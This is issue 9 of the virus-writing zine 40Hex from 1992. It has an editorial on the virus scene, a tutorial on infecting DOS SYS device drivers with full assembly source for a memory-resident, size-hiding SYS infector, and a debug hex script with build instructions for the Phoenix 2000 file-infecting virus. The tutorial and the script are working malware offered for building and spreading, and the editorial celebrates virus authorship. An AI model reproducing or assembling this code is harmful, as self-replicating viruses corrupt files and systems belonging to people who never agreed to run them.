40Hex Number 9 Volume 2 Issue 5
40Hex Number 9 Volume 2 Issue 5 File 000
Welcome to the ninth issue of 40 Hex! This month brings lots of exciting
and neat-o stuff. The feature article this month is Dark Angel's tutorial on
SYS infections. As always, we have more virii news and more disassemblies and
yes, even more debug scripts. A few quick notes:
- Join PS/Net! Contact your friendly neighborhood Phalcon/Skism sysop
for details.
- We have been copied extensively by virtually every virus group in
existence and, with few exceptions, have not been given credit for
our work. It is getting tedious, to say the least, to reread what
we have already written. In the future, please don't be quite so
lame.
- Landfill is down again, but a new board, Liquid Euphoria, run by
our newest member, Hawkmoon, has taken its place. The board is
stable and will not go down without warning, we promise! Call it,
love it, hold it as your own. Special thanks to Hawkmoon for
editing portions of 40Hex.
- All are invited to contribute to 40Hex, be it in the form of an
article, original virus, or whatever. Contact a Phalcon/Skism
board for details.
- Finally, happy new year to all virus and anti-virus people everywhere!
The new year promises to bring more nify innovations in both virii and
viral toolkits from Phalcon/Skism. Stay tuned.
40Hex-9 Table of contents
December 31, 1992
File Description
40Hex-9.000......................You Are Here!
40Hex-9.001......................40Hex Editorial
40Hex-9.002......................SYS Virii
40Hex-9.003......................Phoenix 2000 Debug Dump
40Hex-9.004......................More antidebugger techniques
40Hex-9.005......................Virus Spotlite: 4096
40Hex-9.006......................Nina disassembly
40Hex-9.007......................A New Virus Naming Convention
40Hex-9.008......................Code Optimization
40Hex-9.009......................FirstStrike's Catfish virus
Greets to: All Phalcon/Skism members, FirstStrike, Apache Warrior,
[NuKE], ex-Senior Engineers of Data Plus, and virus writers
everywhere!
-)Gheap
40Hex Number 9 Volume 2 Issue 5 File 001
40-Hex Editorial:
VX: What the Hell's happened?
by DecimatoR
Please note, the opinions expressed herein are not necessarily those of all
the Phalcon/Skism members, and this article was not intentionally directed
towards one group or individual in particular.
1991: The virus scene was almost nonexistent. A handful of virus
boards populated the earth, the biggest being the Virus Exchange in
Bulgaria. In the US, only a very few boards had viruses.. and those which
did ALL had less than 100. If you had 80 viruses back then, you were God.
Today, just one year later, if you have less than 800 you're LAME. Viruses
are everywhere. Unfortunately, almost NONE of them are original. They're
all hacks of hacks of hacks of hacks, or else all cranked out by MPC or VCL,
the 2 virus generation programs in mass distribution. No one (save a few)
writes original code anymore. The recent flood of lame viruses all prove
that. MPC and VCL account for over half of the "new" viruses released each
day - and ALL the viruses generated by those programs are scannable before
they even get compiled. So why do people keep using the programs? Why
create 30 viruses which all do the same thing, except maybe on a different
day, or using a different text string? Why? I'll tell you why. Because
the kids using MPC and VCL are basically talentless programmers who think
it's cool to stick their name in a program and pass it around. They believe
they'll achieve god-like fame in the underground by creating these little
clones and changing a few bytes. Are these people cool? Hardly. It takes
true talent to create a virus. It takes brains and skill to write a virus
which will work as planned, avoid detection, and propagate itself. The
authors of MPC and VCL are very talented programmers. Unfortunately, the
users of their programs are just the opposite. REAL virus programmers have
a desire to LEARN assembler - it's a test of their skill and ability. The
users of MPC and VCL don't have that desire. They only have a desire for
recognition - and seeing their name in a virus is a massive ego trip for
them. Why? They did nothing that any Joe Blow couldn't have done using a
code generator. If they REALLY want to prove how cool they are, let THEM
write a damn virus generation program and release it. THAT ALONE will show
the world their skill and ability. As for USING the program, well, I'm more
impressed with a nicely formatted term paper using WordPerfect than I am
with viruses created using MPC and VCL. If you're one of the lame idiots
who uses MPC or VCL for "writing" viruses, then listen up - those programs
were written for 2 reasons - to prove the programmer could write such a
thing, and to be used as a LEARNING TOOL for future virus writers - NOT to
be abused the way they currently are. Stop acting lame and actually CREATE
an ORIGINAL virus for once, people! And if you find that's impossible, then
get the hell out of the scene and let the people who CAN program do it!
Enough on that end. Now it's time to bitch about the virus boards.
These so called "elite" boards that have 1,255,443,453.7 viruses online for
anyone to call up and leech. These places where the little kiddies put
thier newest MPC and VCL creation for all the other little kiddies, to show
how /<-RaD they are. And as soon as one virus is put up, 300 people grab
it, half of them send it off to other VX boards, and half ship it to the
Anti-Virus boards. What's the purpose? The virus scene has become the same
as the WAREZ SCENE! Or, as Garbageheap puts it - Micro-Warez.
Micro-WareZ: n. Viruses created by talentless individuals and passed
around the way pirated software is.
ie: "Hey D00dZ I got the newest MiCroWareZ from that
BBS in 404!!! Now I'm up to 1,231,902!!!#!$@$~!"
Micro-Warez Pups: n. (pl) 1) Those individuals actively engaging in the
collection, creation, and distribution of Micro-Warez.
2) People who collect viruses simply because they
want to have more than anyone else.
See also: LAMERS
What's the point in these MicroWareZ (also known as VX) boards? All the
virus "authors" (I hate using that term - REAL virus authors don't frequent
microwarez boards) anyway -all the virus authors send up their newest lame
little hacks, and in 15 minutes they're on all VX boards everywhere. In 20
minutes, the AV people are looking at them. In 23 minutes the AV people
have determined that the new Ware is just a lame little hack, and is already
scannable by all virus scanners available. In 23.2 minutes, the AV people
have deleted the virus, and are back drinking coffee and chatting on the
COMP.VIRUS Usenet echo, saying things like "Just found another lame little
hack. Nothing to worry about guys, not like this is anything new or
ingenious or something. My scanner catches it since July of 91."
My point here is - WHAT THE HELL IS THE PURPOSE OF THIS? AV people
no longer have to wait for some unlucky infected soul to send them a copy of
a new virus. They simply call up the local VX board and download it before
ANYONE gets infected. Again I ask you - WHAT IS THE @*#$!%& PURPOSE? It's
not cool, it's not elite, its FUKKING STUPID! Pardon the french. The
so-called Virus underground is no longer underground. It's as open as
the ANTI-VIRUS scene is. Anyone can get anything they want, because NO ONE
cares! Everyone's got them, and anyone who wants them can find them. The
virus scene is no longer elite. It's lamer then the warez scene is. And
it's a shame. It once required talent and skill. Now it requires the
intelligence of a grapefruit... well... not even that much.
So the question remains - "Gee DecimatoR, if you're so against all
this virus stuff, then what the hell are you doing in P/S? Why do you run a
virus board?"
My answer: I have a desire to LEARN, and MY board is private. The
number was changed, all users deleted, and only those with an interest in
LEARNING will be allowed on. Yes, I still have all the damn viruses. Cause
when the Gestapo decides it's time to make the creation, distribution, and
possession of viruses illegal, I wanna be sure people will be able to find
them somewhere. I don't cater to microwarez pups, and I'm about as
interested in the newest VCL creation as I am in the color of your undies.
Viruses illegal? Yes, I'm sure they someday will be. Unfortunately.
Because when the Gestapo makes them illegal, it's taking away the rights of
ALL Americans to freely create and use programs. And that's the beginning
of the end of Democracy and American Freedom. Anyway, that's enough bitching
for one day. If I've pissed you off, good. You're probably one of the
lamers I was writing about. If I haven't, well... next time then.
Till 40-Hex 10.....
> Peace <
--DecimatoR
40Hex Number 9 Volume 2 Issue 5 File 002
─────────────────────────────────────────
An Introduction to Nonoverwriting Viruses
Part III: SYS Infectors
By Dark Angel
─────────────────────────────────────────
The SYS file is the most overlooked executable file structure in DOS.
Viruses are quite capable of infecting SYS files, as DOS kindly allows for
such extensions to this file format.
The SYS file is loaded beginning at offset 0 of a particular segment.
It consists of a header followed by code. SYS files may be chained
together after a simple modification in the header. This is the key to
infecting SYS files.
There are two types of device drivers; block and character. Block
devices include floppy, hard, and virtual disks, i.e. any media which can
store data. Character devices include printers, modems, keyboard, and the
screen. The virus will generally be a character device, as it reduces
complexity.
The header structure is straightforward:
Offset Size Description
------ ---- -----------
0h DWORD Pointer to next header
4h WORD Attribute
6h WORD Pointer to strategy routine
8h WORD Pointer to interrupt routine
0Ah QWORD Name of the device driver
The pointer to the next device driver header appears at offset zero in the
header. This is a far pointer consisting of a segment:offset pair. If the
current device is the only device appearing in the SYS file, then this
pointer should be set to FFFF:FFFF. However, if there are two or more
device drivers contained in the file, then the offset field should be equal
to the absolute location of the next device in the file. The segment field
should remain FFFF. For example, if a second device driver occurs at
offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300 The
second (and all other) device driver must contain a new header as well.
The next field contains the attribute of the device driver. Bit 15
determines the nature of the device driver. If bit 15 is set, then the
device driver header corresponds to a character device; otherwise, the
device is a block device. You need not concern yourself with any of the
other bits; they may remain cleared.
Before the next two fields may be understood, it is necessary to introduce
the concept of the request header. The request header contains DOS's
requests of the device driver. For example, DOS may ask for initialisation
or a read or even a status check. The information needed by the device
driver to interpret the request is all contained in the request header. It
is passed to the strategy routine by DOS as a far pointer in ES:BX. The
job of the strategy routine is to save the pointer for use by the interrupt
routine. The interrupt routine is called by DOS immediately after the
strategy routine. This routine processes the request in the header and
performs the appropriate actions.
The word-length pointers in the SYS header to the strategy and interrupt
routines are relative to the start of the SYS file. So, if the strategy
routine resides in absolute offset 32h in the file, then the field
containing the location of the strategy routine would hold the number 32h.
The name field in the SYS header simply holds an 8 byte device name. For
example, 'NUL ' and 'CLOCK$ ' are two common DOS devices. The name
should be justified with space characters (0x20).
By using DOS's feature of chaining SYS files, we may easily infect
this type of file. No bytes need to be saved. There are but two steps.
The first is to concatenate the virus to the target file. The second is to
alter the first word of the SYS file to point to the virus header. The
only trick involved is writing the SYS interrupt routine. The format of
the request header is:
Offset Size Description
------ ---- -----------
0h BYTE Length of request header (in bytes)
1h BYTE Unit code (for block devices)
2h BYTE Command code
3h WORD Status
5h QWORD Reserved by DOS
0Dh Var. Data for the operation
Only one command code is relevant for use in the virus. Upon
initialisation of the device driver, DOS will send a request header with 0
in the command code field. This is the initialisation check. The format
of the variable sized field in the request header in this case is:
Offset Size Description
------ ---- -----------
0Dh BYTE Number of units (ignored by character devices)
0Eh DWORD Ending address of resident program code
12h DWORD Pointer to BPB aray (ignored by character devices)
16h BYTE Drive number (irrelevant in character devices)
The only relevant fields are at offset 3 and 0Eh. Offset 3 holds the
status word of the operation. The virus fills this in with the appropriate
value. Generally, the virus should put a value of 100h in the status word
in the event of a successful request and a 8103h in the status word in the
event of a failure. The 8103h causes DOS to think that the device driver
does not understand the request. A value of 8102h should be returned in
the event of a failed installation. Offset 0Eh will hold the address of
the end of the virus (include the heap!) in the event of a successful
installation and CS:0 in the event of a failure.
Basically, the strategy routine of the virus should contain a simple
stub to save the es:bx pointer. The interrupt routine should fail all
requests other than initialisation. It should perform an installation if
the virus is not yet installed and fail if it is already in memory
(remember to set offset 0eh to cs:0).
A sample infector with very limited stealth features follows. While it is
somewhat large, it may be easily coupled with a simple COM/EXE infection
routine to create a powerful virus. It is a SYS-only, memory resident
infector.
---------------------------------------------------------------------------
.model tiny
.code
org 0 ; SYS files originate at zero
; SYS infector
; Written by Dark Angel of Phalcon/Skism
; for 40Hex
header:
next_header dd -1 ; FFFF:FFFF
attribute dw 8000h ; character device
strategy dw offset _strategy
interrupt dw offset _interrupt
namevirus db 'SYS INF ' ; simple SYS infector
endheader:
author db 0,'Simple SYS infector',0Dh,0Ah
db 'Written by Dark Angel of Phalcon/Skism',0
_strategy: ; save es:bx pointer
push si
call next_strategy
next_strategy:
pop si
mov cs:[si+offset savebx-offset next_strategy],bx
mov cs:[si+offset savees-offset next_strategy],es
pop si
retf
_interrupt: ; install virus in memory
push ds ; generally, only the segment
push es ; registers need to be preserved
push cs
pop ds
call next_interrupt
next_interrupt:
pop bp
les bx,cs:[bp+savebx-next_interrupt] ; get request header
pointer
mov es:[bx+3],8103h ; default to fail request
cmp byte ptr es:[bx+2], 0 ; check if it is installation
request
jnz exit_interrupt ; exit if it is not
mov es:[bx+10h],cs ; fill in ending address value
lea si,[bp+header-next_interrupt]
mov es:[bx+0eh],si
dec byte ptr es:[bx+3] ; and assume installation failure
mov ax, 0b0fh ; installation check
int 21h
cmp cx, 0b0fh
jz exit_interrupt ; exit if already installed
add es:[bx+0eh],offset endheap ; fixup ending address
mov es:[bx+3],100h ; and status word
xor ax,ax
mov ds,ax ; ds->interrupt table
les bx,ds:[21h*4] ; get old interrupt handler
mov word ptr cs:[bp+oldint21-next_interrupt],bx
mov word ptr cs:[bp+oldint21+2-next_interrupt],es
lea si,[bp+int21-next_interrupt]
cli
mov ds:[21h*4],si ; replace int 21h handler
mov ds:[21h*4+2],cs
sti
exit_interrupt:
pop es
pop ds
retf
int21:
cmp ax,0b0fh ; installation check?
jnz notinstall
xchg cx,ax ; mark already installed
exitint21:
iret
notinstall:
pushf
db 9ah ; call far ptr This combined with
the
oldint21 dd ? ; pushf simulates an int 21h call
pushf
push bp
push ax
mov bp, sp ; set up new stack frame
; flags [bp+10]
; CS:IP [bp+6]
; flags new [bp+4]
; bp [bp+2]
; ax [bp]
mov ax, [bp+4] ; get flags
mov [bp+10], ax ; replace old flags with new
pop ax ; restore the stack
pop bp
popf
cmp ah, 11h ; trap FCB find first and
jz findfirstnext
cmp ah, 12h ; FCB find next calls only
jnz exitint21
findfirstnext:
cmp al,0ffh ; successful findfirst/next?
jz exitint21 ; exit if not
push bp
call next_int21
next_int21:
pop bp
sub bp, offset next_int21
push ax ; save all registers
push bx
push cx
push dx
push ds
push es
push si
push di
mov ah, 2fh ; ES:BX <- DTA
int 21h
push es ; DS:BX->DTA
pop ds
cmp byte ptr [bx], 0FFh ; extended FCB?
jnz regularFCB ; continue if not
add bx, 7 ; otherwise, convert to regular FCB
regularFCB:
mov cx, [bx+29] ; get file size
mov word ptr cs:[bp+filesize], cx
push cs ; ES = CS
pop es
cld
; The following code converts the FCB to an ASCIIZ string
lea di, [bp+filename] ; destination buffer
lea si, [bx+1] ; source buffer - filename
cmp word ptr [si],'OC' ; do not infect CONFIG.SYS
jz bombout
mov cx, 8 ; copy up to 8 bytes
back: cmp byte ptr ds:[si], ' ' ; is it a space?
jz copy_done ; if so, done copying
movsb ; otherwise, move character to
buffer
loop back
copy_done:
mov al, '.' ; copy period
stosb
mov ax, 'YS'
lea si, [bx+9] ; source buffer - extension
cmp word ptr [si], ax ; check if it has the SYS
jnz bombout ; extension and exit if it
cmp byte ptr [si+2], al ; does not
jnz bombout
stosw ; copy 'SYS' to the buffer
stosb
mov al, 0 ; copy null byte
stosb
push ds
pop es ; es:bx -> DTA
push cs
pop ds
xchg di,bx ; es:di -> DTA
; open file, read/only
call open ; al already 0
jc bombout ; exit on error
mov ah, 3fh ; read first
mov cx, 2 ; two bytes of
lea dx, [bp+buffer] ; the header
int 21h
mov ah, 3eh ; close file
int 21h
InfectSYS:
inc word ptr cs:[bp+buffer] ; if first word not FFFF
jz continueSYS ; assume already infected
; this is a safe bet since
; most SYS files do not have
; another SYS file chained on
alreadyinfected:
sub es:[di+29], heap - header ; hide file size increase
; during a DIR command
; This causes CHKDSK errors
;sbb word ptr es:[di+31], 0 ; not needed because SYS files
; are limited to 64K maximum
bombout:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
pop bp
iret
continueSYS:
push ds
pop es
lea si, [bp+offset header]
lea di, [bp+offset bigbuffer]
mov cx, offset endheader - offset header
rep movsb
mov cx, cs:[bp+filesize]
add cx, offset _strategy - offset header ; calculate offset to
mov word ptr [bp+bigbuffer+6],cx ; strategy routine
add cx, offset _interrupt - offset _strategy;calculate offset to
mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine
continueinfection:
mov ax, 4300h ; get file attributes
lea dx, [bp+filename]
int 21h
push cx ; save attributes on stack
push dx ; save filename on stack
mov ax, 4301h ; clear file attributes
xor cx, cx
lea dx,[bp+filename]
int 21h
call openreadwrite
mov ax, 5700h ; get file time/date
int 21h
push cx ; save them on stack
push dx
mov ah, 40h ; write filesize to the old
mov cx, 2 ; SYS header
lea dx, [bp+filesize]
int 21h
mov ax, 4202h ; go to end of file
xor cx, cx
cwd ; xor dx, dx
int 21h
mov ah, 40h ; concatenate header
mov cx, offset endheader - offset header
lea dx, [bp+bigbuffer]
int 21h
mov ah, 40h ; concatenate virus
mov cx, offset heap - offset endheader
lea dx, [bp+endheader]
int 21h
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 21h
mov ah, 3eh ; close file
int 21h
mov ax, 4301h ; restore file attributes
pop cx
pop dx
int 21h
jmp bombout
openreadwrite:
mov al, 2 ; open read/write mode
open: mov ah, 3dh
lea dx,[bp+filename]
int 21h
xchg ax, bx ; put handle in bx
ret
heap:
savebx dw ?
savees dw ?
buffer db 2 dup (?)
filename db 13 dup (?)
filesize dw ?
bigbuffer db offset endheader - offset header dup (?)
endheap:
end header
---------------------------------------------------------------------------
The reason the "delta offset" is needed throughout the file is because
it is impossible to know the exact location where the SYS file will be
loaded into memory. This can be ameliorated by some file padding and fancy
mathematical calculations.
The advantages of using SYS files are manyfold. There is no load high
routine involved apart from the strategy/interrupt routines. This saves
space. SYS files also generally load before TSR virus checkers. TSR
checkers also can't detect the residency routine of the virus, since it is
a normal part of the DOS loading process. The routine for the infection of
the SYS file is ridiculously easy to implement and takes remarkably little
space, so there is no reason not to include SYS support in viruses.
Finally, the memory "loss" reported by CHKDSK usually associated with
memory resident viruses is not a problem with SYS files.
A SYS file infector, when combined with a COM and EXE general
infector, can lead to a powerful virus. Once the first SYS file is
infected, the infected system becomes extremely vulnerable to the virus, as
there is little the user can do to prevent the virus from running, short
of a clean boot.
40Hex Number 9 Volume 2 Issue 5 File 003
Below is the debug script for the Phoenix 2000 virus. Let's see what Patti
Hoffman's VSUM has to say about it:
Phoenix 2000
Virus Name: Phoenix 2000
Aliases:
V Status: Rare
Discovered: December, 1991
Symptoms: .COM file growth; .EXE files altered; TSR; decrease in total
system and available free memory
Origin: Bulgaria
Eff Length: 2,000 Bytes
Type Code: PRshAK - Parasitic Resident .COM & .EXE Infector
Detection Method: ViruScan, AVTK 5.54+, UTScan 22.00+
Removal Instructions: Delete infected files
General Comments:
The Phoenix 2000 virus was received from The Netherlands in December,
1991, where it was uploaded to several BBSes by a person identifying
themself as "Dark Avenger". This virus originated in Bulgaria, and
is closely related to the earlier V82 virus. Phoenix 2000 is a
memory resident infector of .COM and .EXE files, as well as
COMMAND.COM.
The first time a program infected with Phoenix 2000 is executed, the
Phoenix 2000 virus will become memory resident at the top of system
memory but below the 640K DOS boundary. It will also install a
small TSR in low system memory of 112 bytes. The virus at the top
of system memory is 8,192 bytes in size, this is the amount total
system memory as indicated by the DOS CHKDSK program will decrease
by. The decrease in available free memory will be slightly more.
The Phoenix 2000 virus hooks interrupt 2A. Interrupt 12's return
will not have been moved.
Once Phoenix 2000 is memory resident, it will infect .COM and .EXE
programs, including COMMAND.COM, when they are opened, executed,
copied, or accessed in any way. While it will always infect .COM
files, .EXE files are only successfully infected if they contain
2,000 bytes of binary 00 characters in a continuous block. If the
2,000 bytes of binary 00 characters do not exist, the file may be
partially infected, but will not be replicating copy of the virus.
.COM programs, other than COMMAND.COM, will have a file length
increase of 2,000 bytes with the virus being located in the middle
or end of the infected file. Phoenix 2000 is unable to identify
previous infections of itself on infected .COM files, so they
may become reinfected by Phoenix 2000, adding an additional 2,000
bytes to the file for each reinfection. There will be no change
to the file's date and time in the DOS disk directory listing.
COMMAND.COM and .EXE files will not have a file length increase when
they are infected with the Phoenix 2000 virus. In these two cases,
the virus will overwrite 2,000 bytes of binary 00 characters within
the file with the virus code. For .EXE files with less than 2,000
bytes of binary 00 characters, the file will be partially infected
and may not function properly as a result.
To create the virus, simply copy the script below to a file called
"Phoenix.lst" and type:
debug < phoenix.lst > nul
Dark Angel
-------------------------------------------------------------------------------
n phoenix.com
e 0100 E8 00 00 5E 95 B9 D6 03 51 8B FE 33 D2 2E 33 54
e 0110 1F 46 46 49 79 F7 58 2E 31 55 1F 47 47 48 79 F7
e 0120 87 C9 87 F6 87 D2 FA 81 C6 4F F8 1E E8 86 01 8E
e 0130 C7 4F 26 3B 5D 78 74 0F 80 6D 02 02 1F 1E 80 EF
e 0140 02 3B 1D 73 02 89 1D 83 C7 76 B8 D5 06 AB 8B C3
e 0150 AB 06 1F B9 00 20 B0 2E F2 AE 81 3D FF 1E 75 F8
e 0160 8B 7D 02 81 C7 D0 06 B8 59 07 AB 93 AB FF 75 FA
e 0170 FF 75 F8 0E 1F 8B DE 8A FB 03 9C 57 01 56 8E C0
e 0180 33 FF B9 22 00 8B C6 3A C3 74 02 3A C7 AC 74 01
e 0190 AA E2 F2 AF B9 D9 03 F3 A5 5E 58 AB 58 AB 92 48
e 01A0 AB 51 B2 80 B4 08 9C 26 FF 5D FA 58 AA 72 0C 80
e 01B0 FA 02 73 05 80 FE 04 72 02 B4 FE AB 07 FB 56 81
e 01C0 C6 4A 01 B9 E8 03 EB 49 E8 EA 00 8E DF 3B 5D 77
e 01D0 74 2D BF 4C 00 C4 5D D0 B4 13 CD 2F 06 B0 F5 E6
e 01E0 60 33 C0 E6 61 8E C0 93 AB 58 AB BA 80 00 B9 01
e 01F0 00 B8 11 03 CD 13 FE C5 75 F7 80 C1 40 EB F2 95
e 0200 E8 00 00 5E 83 C6 C5 56 0E 1F 81 C6 82 00 B9 80
e 0210 00 BF FD 00 8C DA 01 54 0B 3B 54 0B 75 3B A5 A4
e 0220 A5 A5 5F AD 8B DE 8B F0 06 1F 2E FF 2F F3 A5 96
e 0230 8B F9 C6 05 4D 89 55 03 42 26 29 55 03 B4 50 CD
e 0240 21 0E 1F 8E C3 8D 5C 09 EB DE F3 AA 95 00 00 00
e 0250 00 C3 C3 FD 00 00 00 21 20 03 54 07 8B 4C 03 56
e 0260 8B 74 05 E3 0C AD 93 AD 03 C2 8E C0 26 01 17 E2
e 0270 F4 8E C2 AD 91 E3 07 AD 93 26 01 17 E2 F9 8C C0
e 0280 80 C4 10 8E C0 33 C2 75 EA 5E B1 11 8C DB 2B D3
e 0290 2B D9 8E DB 8B FA 2B F9 B1 04 D3 E7 83 EF 0F 43
e 02A0 3B F7 73 9D 4A 03 DA 8E C3 43 96 89 5C 01 8B FE
e 02B0 B1 88 E9 78 FF FC BF 03 00 8C DB 4B 8E DB 43 03
e 02C0 1D 80 7D FD 5A 75 F5 C3 72 FD 50 B8 20 12 CD 2F
e 02D0 72 0A 53 26 8A 1D B8 16 12 CD 2F 5B 5E 72 E8 06
e 02E0 1F C6 45 02 02 FF 75 05 33 C0 87 45 17 50 33 C0
e 02F0 87 45 15 50 56 BA 03 04 B1 80 84 75 04 75 39 80
e 0300 FD 3E 75 05 BA 02 00 B1 C0 22 4D 05 75 2B 2E 89
e 0310 16 DD 07 8B 45 28 3D 45 58 74 13 3D 43 4F 75 13
e 0320 3B 45 20 B8 4D 4D 75 06 3B 45 22 75 01 41 3A 45
e 0330 2A 74 09 80 FD 4B 74 04 F9 E9 A8 02 51 0E 1F BA
e 0340 C5 17 B9 1A 00 B4 3F CD 21 33 C8 F9 75 4D 8B F2
e 0350 AD 3D 4D 5A 74 4A 3D 5A 4D 74 45 26 3B 4D 13 F9
e 0360 75 39 A3 4D 01 AD A3 4F 01 26 8B 45 11 2D 10 08
e 0370 72 29 26 89 45 15 50 E8 A4 02 72 1D 8B F2 8B 04
e 0380 A3 51 01 B5 AB 88 2E 4B 01 32 C4 75 0C 50 E8 7C
e 0390 02 58 72 05 AC 32 C4 E1 FB 91 5A 59 72 9B 74 2A
e 03A0 74 42 84 C9 75 92 33 F6 3D D2 06 72 1D 26 8A 45
e 03B0 12 F6 D0 A8 38 74 81 58 50 86 C4 33 D2 26 8B 75
e 03C0 11 83 EE 03 F7 F6 83 C2 03 49 51 26 89 55 15 8B
e 03D0 C2 2D 03 00 C6 06 C5 17 E9 A3 C6 17 B9 FD 00 33
e 03E0 C0 E9 18 01 8B 44 16 26 89 45 15 B1 04 E8 30 02
e 03F0 72 A9 D1 E8 87 44 06 48 48 A3 51 01 01 44 0C 01
e 0400 44 14 40 40 B1 10 3A E1 F5 72 90 F7 E1 87 54 04
e 0410 8B CA D1 E2 D1 E2 03 54 16 2B C2 72 EC 83 7C 0A
e 0420 00 74 0F 50 2D F2 07 73 17 D1 E0 03 D0 72 11 2B
e 0430 D0 58 2D 22 01 73 06 D1 E0 03 D0 73 CB 33 C0 50
e 0440 8B 44 16 2B D0 5E 72 C1 56 80 E2 FC 03 D0 26 89
e 0450 55 15 2B D0 D1 EA D1 EA BE E5 07 56 2D 20 00 73
e 0460 0A 83 EE 04 05 04 00 4A 79 01 42 89 16 4D 01 2B
e 0470 CA 73 02 33 C9 A3 4F 01 5A 51 D1 E1 D1 E1 75 09
e 0480 3B F2 74 05 26 80 45 15 04 B4 3F CD 21 59 72 56
e 0490 26 29 45 15 57 53 BF DF 17 32 D2 51 56 57 AF 57
e 04A0 E3 23 AD 8B F8 AD D1 C0 D1 C0 D1 C0 D1 C0 8B D8
e 04B0 80 E3 F0 03 DF 14 00 24 0F 3A C2 75 06 5F 89 1D
e 04C0 47 47 57 E2 DD 58 5B 5E 59 8B F8 2B C3 D1 E8 48
e 04D0 89 07 42 80 FA 10 75 C3 5B 5F BA DF 17 D1 E1 83
e 04E0 C1 20 B4 40 CD 21 5E 59 72 7E 51 26 8B 4D 15 83
e 04F0 E9 20 33 C0 87 0E D9 17 87 06 DB 17 89 0E 53 01
e 0500 A3 55 01 59 58 41 56 52 51 53 33 D2 B9 90 00 F7
e 0510 F1 E8 40 01 A3 14 00 E8 3A 01 A3 1E 00 92 B2 06
e 0520 F6 F2 BE E1 07 E8 00 01 BB D8 05 E8 06 01 BB E0
e 0530 07 BE AC 05 B9 26 00 AC 24 3F 74 1F 50 24 07 D7
e 0540 B4 F8 92 58 51 B1 03 D2 E8 74 07 D7 D2 E0 0A D0
e 0550 B6 C0 59 20 B4 53 FA 08 94 53 FA E2 DA 91 5B 59
e 0560 5E 84 C9 75 26 E8 A5 00 72 77 91 26 03 45 11 2B
e 0570 C1 26 89 45 15 FE C4 A3 51 01 C6 06 4B 01 A5 B4
e 0580 40 CD 21 33 C1 75 5A 26 89 75 15 06 57 99 A3 57
e 0590 01 96 EC 24 1F 91 EC 24 1F 1E 07 BF E1 07 F6 84
e 05A0 AC 05 80 74 04 E8 B6 00 91 A4 81 FE 20 00 75 EE
e 05B0 E8 AB 00 AD B9 D7 03 AD 33 06 D8 07 33 D0 AB E2
e 05C0 F6 33 54 08 31 55 E0 5F 07 5E 56 B4 40 E8 3F 00
e 05D0 33 C8 75 0D 26 89 4D 15 BA C5 17 B1 18 B4 40 CD
e 05E0 21 B5 3E F9 58 06 1F 8F 45 15 8F 45 17 73 11 8A
e 05F0 45 0D F6 D0 A8 1F 74 08 80 4D 0D 1F 80 65 05 BF
e 0600 58 0A C4 24 40 08 45 06 B4 3E CD 21 C3 B4 3F B9
e 0610 00 01 BA C8 00 85 F6 74 0C B9 D0 07 EB 04 B1 02
e 0620 B4 3F BA E1 07 CD 21 C3 BB D2 05 E8 08 00 88 04
e 0630 46 BB D5 05 8A C4 D0 E8 8A D0 50 14 01 3C 03 72
e 0640 02 2C 03 0A D0 D7 88 04 46 58 D7 88 04 46 8A C2
e 0650 34 03 D7 C3 D1 EA B8 79 F7 73 02 0C 04 C3 E8 01
e 0660 00 91 98 3C 02 73 02 B0 02 3B F0 76 3E 8D 45 1F
e 0670 8A 26 57 01 A3 57 01 48 3A C4 B0 90 AA 75 14 EC
e 0680 24 1F 3C 08 73 0D B4 09 F6 E4 04 C0 8A E0 B0 87
e 0690 89 45 FE 8B C6 53 B3 15 2C 11 3C 05 72 08 B3 1F
e 06A0 2C 0A 3C 05 73 02 FE 0F 5B B0 20 C3 00 00 00 84
e 06B0 80 82 00 00 82 80 2C 80 09 80 00 0E 00 84 84 82
e 06C0 80 00 83 80 00 0F 00 85 85 83 80 00 00 00 00 04
e 06D0 00 01 00 01 02 03 06 07 07 04 05 9C FA 50 53 51
e 06E0 52 56 57 1E 06 FC 0E 07 91 80 FD 3E 74 0F 8B F2
e 06F0 BF DF 17 B4 60 CD 21 B8 00 3D CD 21 93 BA 00 00
e 0700 8E DA BF D0 07 BE 4C 00 B8 B3 07 87 04 AB 50 8C
e 0710 C0 87 44 02 AB 50 B8 38 07 87 44 44 50 8C C0 87
e 0720 44 46 50 1E 56 A1 6C 04 50 E8 9C FB 0E 1F BE DF
e 0730 17 8B FE 80 FD 4B 74 0C 54 58 80 FD 3E F9 74 75
e 0740 3B C4 72 71 AC 3C 5C 75 02 8B FE 84 C0 75 F5 B8
e 0750 2A 2E 89 05 98 89 45 02 B4 2F CD 21 06 53 BA E1
e 0760 07 B4 1A CD 21 0E 07 B9 23 00 BA DF 17 B4 4E CD
e 0770 21 72 30 A0 F7 07 F6 D0 A8 1F 74 21 BE FF 07 57
e 0780 AC AA 84 C0 75 FA 5F 8B 44 FD 3D 58 45 74 07 3D
e 0790 4F 4D 75 09 B4 43 B0 2E 3B 44 FB 74 06 B4 4F CD
e 07A0 21 73 D0 5A 1F B4 1A CD 21 72 0A 0E 1F BA DF 17
e 07B0 B8 00 3D CD 21 5B 93 E8 0E FB 5E 1F 8F 44 46 8F
e 07C0 44 44 8F 44 02 8F 04 07 1F 5F 5E 5A 59 5B 58 9D
e 07D0 EA 00 00 00 00 56 57 55 1E 06 8B EC 80 FC 82 75
e 07E0 52 8C D8 3B 46 0C 75 4B B8 18 12 CD 2F 8C C8 3B
e 07F0 44 14 74 3F AD 80 EC 3D 74 1F FE CC 74 19 2D 00
e 0800 0D 75 30 C4 7C 10 26 81 7D FE CD 21 75 25 40 2E
e 0810 30 06 B2 07 75 1D F9 B3 30 0E 07 BF D1 06 B8 DB
e 0820 05 87 44 10 73 02 48 48 AB 8C C8 87 44 12 AB 80
e 0830 64 14 FE 07 1F 5D 5F 5E B0 03 CF 58 80 EC 02 80
e 0840 FC 02 73 0C FF 45 01 75 07 B8 01 03 9C FF 5D FA
e 0850 58 D1 E8 73 53 B4 01 EB 51 1E 57 0E 1F BF DA 07
e 0860 80 3D 00 74 0D 41 75 09 32 E4 86 25 F9 8B 4D 05
e 0870 41 49 9C 50 9C FF 5D FA 73 C1 1F 1F EB 2C 88 25
e 0880 89 4D 05 3A 65 03 75 03 80 F4 01 51 B9 FF FF 9C
e 0890 FF 5D F6 59 9C 50 32 C0 86 05 A8 02 75 FE 58 9D
e 08A0 73 08 80 FC 01 F9 75 02 33 C0 5F 1F FB CA 02 00
e 08B0 98 34 00 1E 57 0E 1F BF DA 07 3A 65 04 74 E9 84
